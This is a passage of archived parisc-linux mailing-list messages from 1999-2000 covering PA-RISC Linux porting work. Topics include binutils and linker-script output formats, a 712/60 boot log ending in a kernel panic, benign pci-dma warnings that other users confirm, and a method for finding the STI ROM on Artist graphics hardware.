  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 09:01:39 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA12556;
	Tue, 12 Dec 2000 20:01:16 +1100
In-Reply-To: <20001212084449.EB32737CA1@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8867

On Tue, 12 Dec 2000, Matt Taggart wrote:

> $ hppa-linux-objdump -h fs.o
>[snip]
>  10 .text         00000008  00000000  00000000  00013420  2**2
>                   CONTENTS, ALLOC, LOAD, READONLY, CODE
>  11 .init.text    00001b3c  00000000  00000000  00013428  2**2
>                   CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
>  12 .text.1       00005f48  00000000  00000000  00014f64  2**2
>                   CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
>  13 .text.2       00003078  00000000  00000000  0001aeac  2**2
>[snip]

Looks good to me, what I'd expect to see with the new binutils and a
compile without -ffunction-sections.  I'll see if I can reproduce it -
it's probably a bug in the latest binutils .

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marko.T.Niskanen@nokia.com
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 712/60 booting problem
Date: Tue, 12 Dec 2000 11:36:05 +0200
Lines: 175
Approved: news@gmane.org
Message-ID: <13F0486DB51CD311A0AE0008C7C561380453D433@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619425 8453 80.91.229.3 (22 Nov 2014 01:23:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Marko.T.Niskanen@nokia.com  Tue Dec 12 02:34:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA12071
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 02:34:30 -0700
Original-Received: (qmail 13335 invoked by uid 15267); 12 Dec 2000 09:37:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13325 invoked from network); 12 Dec 2000 09:37:17 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 09:37:17 -0000
Original-Received: from esvir02nok.nokia.com (esvir02nok.nokia.com [131.228.20.74])
	by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id eBC9bBO14099
	for <parisc-linux@thepuffingroup.com>; Tue, 12 Dec 2000 11:37:11 +0200 (EET)
Original-Received: from esebh02nok.ntc.nokia.com (unverified) by esvir02nok.nokia.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83e4144a48506f8f0f51@esvir02nok.nokia.com> for <parisc-linux@thepuffingroup.com>;
 Tue, 12 Dec 2000 11:37:10 +0200
Original-Received: by esebh02nok with Internet Mail Service (5.5.2652.78)
	id <YV1DC6M3>; Tue, 12 Dec 2000 11:36:11 +0200
X-Mailer: Internet Mail Service (5.5.2652.78)
Xref: news.gmane.org gmane.linux.ports.parisc:8868

hi

Here is the boot.log

Booting
palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
0/vmlinux 2140145 bytes @ 0x8090800
0/palo-cmdline '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3'
/dev/ida1  82         59     262727
/dev/ida2  f0     262786      33099
/dev/ida3  83     295885     727175
Kernel: partition 3 file /boot/vmlinux
ext2 block size 1024
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux) = 3
ELF32 executable

Entry 00100150 first 00100000 n 4
Segment 0 load 00100000 size 1460344 mediaptr 0x1000
Segment 1 load 00266000 size 179048 mediaptr 0x166000
Segment 2 load 00294000 size 109876 mediaptr 0x192000
Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
branching to kernel entry point 0x00100150
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02da000
(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'TERM=linux HOME=/ root=/dev/sda3'
PALO initrd 0-0
model   00006000 00000481 00000000 00000000 77c6fa78 00000000 00000004
00000072
00000072
vers    0000000c
CPUID vers 0 rev 0
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85,
0x0, 0x
0
2. Gecko Core BA (11) at 0xf0100000, versions 0x16, 0x0, 0x81, 0x0, 0x0
3. Gecko Core SCSI (10) at 0xf0106000, versions 0x16, 0x0, 0x82, 0x0, 0x0
4. Gecko Core Lan (802.3) (10) at 0xf0107000, versions 0x16, 0x0, 0x8a, 0x0,
0x0

5. Gecko Core RS-232 (10) at 0xf0105000, versions 0x16, 0x0, 0x8c, 0x0, 0x0
6. Gecko Core Centronics (10) at 0xf0102000, versions 0x16, 0x0, 0x74, 0x0,
0x0
7. Gecko Audio (10) at 0xf0104000, versions 0x16, 0x0, 0x7b, 0x0, 0x0
8. Gecko Core PC Floppy (10) at 0xf010a000, versions 0x16, 0x0, 0x83, 0x0,
0x0
9. Gecko Core PC Keyboard (10) at 0xf0108000, versions 0x16, 0x0, 0x84, 0x0,
0x0

10. Gecko Core PC Keyboard (10) at 0xf0108100, versions 0x16, 0x0, 0x84,
0x0, 0x
0
11. Gecko (712/60) (0) at 0xfffbe000, versions 0x600, 0x0, 0x4, 0x0, 0x81
12. Gecko (1) at 0xfffbf000, versions 0x26, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 60.000000 MHz
Linux version 2.4.0-test6 (pjlahaie@elenuial.thepuffingroup.com) (gcc
version 2.
96 20000925 (experimental)) #32 Mon Nov 6 10:20:58 EST 2000
free_bootmem(0x2da800, 0x3d25800)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
Kernel command line: TERM=linux HOME=/ root=/dev/sda3
trap_init
Calibrating delay loop... 59.80 BogoMIPS
Memory: 61388k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xf0108000...
Support for Lasi PS/2-psaux not yet available !
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
Lasi PS/2 wait 1579
Lasi PS/2 wait 1580
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c7xx
scsi : 1 host.
  Vendor: TOSHIBA   Model: CD-ROM XM-5701TA  Rev: 1557
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 5, lun 0
  Vendor: QUANTUM   Model: LPS525S           Rev: 3110
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi : detected 1 SCSI cdrom 1 SCSI disk total.
Uniform CD-ROM driver Revision: 3.11
SCSI device sda: hdwr sector= 512 bytes. Sectors= 1023484 [499 MB] [0.5 GB]
Partition check:
 sda: sda1 sda2 sda3
eth0: 82596 at 0xf0107000, 08 00 09 87 66 19 IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI
ena
bled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Switching from PDC console
kmem_create: Forcing size word alignment - nfs_fh
VFS: Mounted root (ext2 filesystem) readonly.
BUG IN DYNAMIC LKernel panic: Attempted to kill init!
INKER ld.so: dynamic-link.h: 62: top level: Assertion `! "bad dynamic tag"'
fail
ed!

br

marko

> -----Original Message-----
> From: EXT Alex deVries [mailto:adevries@linuxcare.com]
> Sent: 12 December, 2000 6:46
> To: Marko.T.Niskanen@nokia.com; 	
> Subject: Re: [parisc-linux] 712/60 booting problem
> 
> 
> Alex deVries wrote:
> > 
> > Marko.T.Niskanen@nokia.com wrote:
> > >
> > > hello
> > >
> > > after installing from palinux-0.5.iso.gz on cd and during 
> booting I can get
> > > this kind error
> > 
> > Okay.  You've got to give us some sort of clue as to what kind of
> > machine that is, because I can't guess.
> 
> What a silly question, since you mentioned it in your subject it was a
> 712/80.
> 
> Where do you get the problem?  Do you have a bootlog for us?
> 
> - Alex
> 
> 
> -- 
> Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
> 613.562.2759 tel
> alex@linuxcare.com, http://www.linuxcare.com/
> Linuxcare, Support for the revolution.
> 


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Tue, 12 Dec 2000 21:53:58 +1100 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012122137190.14312-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0012121945440.27939-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619425 8457 80.91.229.3 (22 Nov 2014 01:23:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:45 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Dec 12 03:55:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA13029
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 03:55:44 -0700
Original-Received: (qmail 15370 invoked by uid 15267); 12 Dec 2000 10:58:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15345 invoked from network); 12 Dec 2000 10:58:30 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 10:58:30 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA14622;
	Tue, 12 Dec 2000 21:53:58 +1100
In-Reply-To: <Pine.LNX.4.21.0012121945440.27939-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8869


linux/arch/parisc/vmlinux.lds is the culprit.  Or at least, the line

	OUTPUT_FORMAT("elf32-hppa")

along with a new linker that produces elf32-hppa-linux output format.
I'm committing a fix to pehc.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Sat, 8 May 1999 03:59:11 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <19990508035911.51124@insula.local>
References: <199905062214.PAA16853@gatekeeper.equator.com>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619425 8459 80.91.229.3 (22 Nov 2014 01:23:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jason Eckhardt <jason@equator.com>
Original-X-From: prumpf@jcsbs.lanobis.de  Fri May  7 21:47:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA31045
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 May 1999 21:47:31 -0600
Original-Received: (qmail 21512 invoked by uid 15267); 8 May 1999 03:47:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21501 invoked from network); 8 May 1999 03:47:27 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 8 May 1999 03:47:26 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10fy4v-001Lp9C; Sat, 8 May 1999 05:47:05 +0200 (CEST)
Original-Received: (qmail 6649 invoked from network); 8 May 1999 03:47:24 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 8 May 1999 03:47:24 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id DAA09390;
	Sat, 8 May 1999 03:59:12 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <199905062214.PAA16853@gatekeeper.equator.com>; from Jason Eckhardt on Thu, May 06, 1999 at 03:14:59PM -0700
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8870

>   What code are you proposing to add to the bootloader? ext2 support is
>   underway.

If it works, I propose to let it unchanged (of course, e2fs would be nice).
I concentrate on the kernel for now (and think we might get interrupt(ion)s
RSN).


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Tue, 12 Dec 2000 12:14:35 -0500
Organization: The Puffins at Linuxcare
Lines: 22
Approved: news@gmane.org
Message-ID: <3A365CFB.E03FEB72@linuxcare.com>
References: <13F0486DB51CD311A0AE0008C7C561380453D432@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619426 8462 80.91.229.3 (22 Nov 2014 01:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Marko.T.Niskanen@nokia.com
Original-X-From: adevries@linuxcare.com  Tue Dec 12 10:10:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA17426
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 10:10:40 -0700
Original-Received: (qmail 31868 invoked by uid 15267); 12 Dec 2000 17:13:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31292 invoked from network); 12 Dec 2000 17:12:49 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 17:12:49 -0000
Original-Received: (qmail 2013 invoked from network); 12 Dec 2000 17:12:17 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 12 Dec 2000 17:12:17 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8871

Marko.T.Niskanen@nokia.com wrote:
> kernel BUG at pci-dma.c:400!
> kernel BUG at pci-dma.c:391!
> kernel BUG at pci-dma.c:400!
> kernel BUG at pci-dma.c:391!
> kernel BUG at pci-dma.c:400!
> ISO 9660 Extensions: RRIP_1991A
> VFS: Mounted root (iso9660 filesystem) readonly.

Those are actually messages that are perfectly normal.

I wonder if Marko's problems are specific to the 712/60, does anyone
else with a 712/60 have such kernel panics?  I don't on my 712/80.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Theander <Robin.Theander@tellabs.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Wed, 13 Dec 2000 10:45:15 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <3A37452B.B5D1BCC2@tellabs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619426 8466 80.91.229.3 (22 Nov 2014 01:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Robin.Theander@tellabs.com  Wed Dec 13 02:43:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA22579
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 02:43:13 -0700
Original-Received: (qmail 18439 invoked by uid 15267); 13 Dec 2000 09:46:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18427 invoked from network); 13 Dec 2000 09:46:01 -0000
Original-Received: from proxy.tellabs.fi (HELO mx.tellabs.fi) (193.65.253.34)
  by mailserv2.iuinc.com with SMTP; 13 Dec 2000 09:46:01 -0000
Original-Received: from mxdk.dk.tellabs.com (mxdk.dk.tellabs.com [172.19.74.16])
	by mx.tellabs.fi (8.8.8/8.8.8) with ESMTP id LAA07178
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 11:45:27 +0200 (EET)
Original-Received: from tellabs.com (pc-rtheande.dk.tellabs.com [172.19.62.43])
	by mxdk.dk.tellabs.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id KAA13840
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 10:45:27 +0100 (MET)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8872

> Marko.T.Niskanen@nokia.com wrote:
> > kernel BUG at pci-dma.c:400!
> > kernel BUG at pci-dma.c:391!
> > kernel BUG at pci-dma.c:400!
> > kernel BUG at pci-dma.c:391!
> > kernel BUG at pci-dma.c:400!
> > ISO 9660 Extensions: RRIP_1991A
> > VFS: Mounted root (iso9660 filesystem) readonly.
> Those are actually messages that are perfectly normal.
> I wonder if Marko's problems are specific to the 712/60, does anyone
> else with a 712/60 have such kernel panics? I don't on my 712/80.

I have a 712/60 and I see the same. The box works quite well.
The same messages also appear when mounting/unmounting filesystems.

Robin.

-- 
ASIC Design Engineer
Tellabs Denmark A/S

Direct: +45 4473 2942
robin.theander@tellabs.com


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Wientapper <Matthias.Wientapper@de.origin-it.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Wed, 13 Dec 2000 10:54:34 +0100
Organization: ORIGIN Deutschland GmbH Asic Centre
Lines: 45
Approved: news@gmane.org
Message-ID: <3A37475A.958F2830@de.origin-it.com>
References: <3A37452B.B5D1BCC2@tellabs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619426 8468 80.91.229.3 (22 Nov 2014 01:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthias.Wientapper@de.origin-it.com  Wed Dec 13 02:51:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA23106
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 02:51:57 -0700
Original-Received: (qmail 25191 invoked by uid 15267); 13 Dec 2000 09:54:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25174 invoked from network); 13 Dec 2000 09:54:44 -0000
Original-Received: from gw-nl1.origin-it.com (@193.79.128.34)
  by mailserv2.iuinc.com with SMTP; 13 Dec 2000 09:54:44 -0000
Original-Received: from mail.de.origin-it.com (localhost.origin-it.com [127.0.0.1])
          by gw-nl1.origin-it.com with ESMTP id KAA24585
          for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 10:54:37 +0100 (MET)
          (envelope-from Matthias.Wientapper@de.origin-it.com)
Original-Received: from smtprelay-de1.origin-it.com(172.16.188.53) by gw-nl1.origin-it.com via mwrap (4.0a)
	id xma024583; Wed, 13 Dec 00 10:54:37 +0100
Original-Received: from mailhub.de.origin-it.com (mailhub.de.origin-it.com [172.16.189.20]) 
	by mail.de.origin-it.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id KAA28926
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 10:54:36 +0100 (MET)
Original-Received: from acehp4.hbg.de.origin-it.com (root@acehp4.hbg.de.origin-it.com [172.16.189.139])
	by mailhub.de.origin-it.com (8.11.1/8.11.1/hmo23oct00) with ESMTP id eBD9sWH53562
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 10:54:36 +0100 (CET)
	(envelope-from Matthias.Wientapper@de.origin-it.com)
Original-Received: from de.origin-it.com (wientapp@acehp4.hbg.de.origin-it.com [172.16.189.139]) by acehp4.hbg.de.origin-it.com with ESMTP (8.8.6 (PHNE_17135)/8.7.1) id KAA05767 for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 10:54:35 +0100 (MET)
Original-Sender: wientapp@acehp4.hbg.de.origin-it.com
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.10.20 9000/859)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:8873

Same on a 715/64 here.

(ASIC-Designers love their HPs, eh?)


Regards,

Matthias

Robin Theander wrote:
> 
> > Marko.T.Niskanen@nokia.com wrote:
> > > kernel BUG at pci-dma.c:400!
> > > kernel BUG at pci-dma.c:391!
> > > kernel BUG at pci-dma.c:400!
> > > kernel BUG at pci-dma.c:391!
> > > kernel BUG at pci-dma.c:400!
> > > ISO 9660 Extensions: RRIP_1991A
> > > VFS: Mounted root (iso9660 filesystem) readonly.
> > Those are actually messages that are perfectly normal.
> > I wonder if Marko's problems are specific to the 712/60, does anyone
> > else with a 712/60 have such kernel panics? I don't on my 712/80.
> 
> I have a 712/60 and I see the same. The box works quite well.
> The same messages also appear when mounting/unmounting filesystems.
> 
> Robin.
> 
> --
> ASIC Design Engineer
> Tellabs Denmark A/S
> 
> Direct: +45 4473 2942
> robin.theander@tellabs.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--
Matthias Wientapper                   We're all pretty geeky people....
AtosOrigin ASIC CENTRE                I think you'll find that your      
Billstrasse 80, D-20536 Hamburg       average rock star is a dork.      
Phone: +49-(0)40-7886-699 Fax: -691   - Adam Duritz of Counting Crows


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI Rom address location
Date: Wed, 13 Dec 2000 05:31:11 -0700 (MST)
Lines: 75
Approved: news@gmane.org
Message-ID: <200012131231.FAA18919@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619427 8469 80.91.229.3 (22 Nov 2014 01:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:47 +0000 (UTC)
To: debackex@esiee.fr, parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Dec 13 05:29:41 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA25595
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 05:29:40 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id B249581A
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 07:32:27 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id FAA18919; Wed, 13 Dec 2000 05:31:11 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8874

> Hi Matt, and Hi STI god ;-)

Matt forwarded this to me, although I am not the "STI god" that he
mentioned. However, I do know the answer to the problem you are having,
since at one time I worked on the graphics driver for HP-UX. I am
sending this to parisc-linux also, since I believe the answer is probably
of interest to others, and it may be worthwhile discussing the appropriate
solution to finding the STI rom in this case.

> i can't find the sti rom on my B132/B180
>
> well, unlike the 712,715 and 725, the address is not in the pdc.
> I tested it: PAGE0->0x604 == NULL
>
> for sgc and gsc based graphic cards, the sti rom has to be available at
> the base hpa, which can be one of those addresses: 0xf4000000,
> 0xf6000000, 0xf8000000, or 0xfa000000.
>

With one exception, the sti rom for non PCI graphics cards can be found at
the base hpa (note that for HP PCI graphics cards, the sti rom can be
found in the extension rom).  The one exception is for "Artist" graphics
hardware.  Artist graphic hardware has a sversion of 0x85, and can be
found in a quite a few machines that were made in the Gecko -> B180
timeframe (you can look them up in the hardware database in hardware.c).

Artist graphics hardware was a low cost graphics solution, and the hardware
folks decided not to have a separate rom for sti. Instead, the sti code
was placed into the system's pdc firmware. On the first machines to have
Artist hardware, e.g. Gecko, the address of the sti "rom" was stored at
location 0x604 on the zero page. This was considered a hack, and another
architected solution was designed. Newer machines implement the
PDC_SYSTEM_MAP pdc call. In most cases, each fixed module has one
entry in the system map, however this is not always the case. There is
provision for modules that have discontiguous address ranges. The first
system map entry will be for the hpa. If there are additional address
ranges the "add_addrs" field in "struct pdc_system_map" will be non-zero.
The "add_addrs" field will be non-zero for each entry except for the
last one, where the "add_addrs" field will be zero. For Artist graphics,
the first entry will contain the hpa in the mod_addr field. IF the
add_addrs field is non-zero, THEN the second entry (i.e. the result
from a call to PDC_SYSTEM_MAP with the next index value) will contain the
address of the sti rom in the mod_addr field.

Note that address 0x604 on page zero is not reserved specifically for the
Artist graphics sti rom address.  You should only check the contents at
0x604 if the above check fails, i.e. if PDC_SYSTEM_MAP is not implemented,
or the add_addrs field for the entry containing the hpa of the Artist
hardware is zero.

Here is some pseudo code for the proper algorithm for finding the sti-rom
for non PCI graphics cards:

    IF sversion != 0x85:
	Use base hpa
    ELSE:
	IF PDC_SYSTEM_MAP pdc call is implemented, and add_addrs field
	of entry containing hpa of artist graphics hardware is
	non zero:

	    Use mod_addr field from next index in system map.
	ELSE:
	    Use address stored at location 0x604 on page zero.

Anyway, our current implementation doesn't appear to handle multiple
entries for the same module in the system map, i.e. it calls
